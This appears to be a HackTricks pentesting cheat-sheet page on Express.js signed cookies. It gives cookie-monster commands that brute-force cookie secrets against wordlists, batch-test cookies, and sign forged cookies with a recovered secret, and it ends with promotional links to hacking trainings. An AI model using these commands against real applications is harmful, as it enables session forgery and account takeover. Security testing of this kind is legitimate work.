NodeJS Express

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
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Cookie Signature

The tool https://github.com/DigitalInterruption/cookie-monster is a utility for automating the testing and re-signing of Express.js cookie secrets.

Single cookie with a specific name

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

Custom wordlist

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

Test multiple cookies using batch mode

cookie-monster -b -f cookies.json

Test multiple cookies using batch mode with a custom wordlist

cookie-monster -b -f cookies.json -w custom.lst

Encode and sign a new cookie

iI you know the secret you can sign a the cookie.

cookie-monster -e -f new_cookie.json -k secret

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.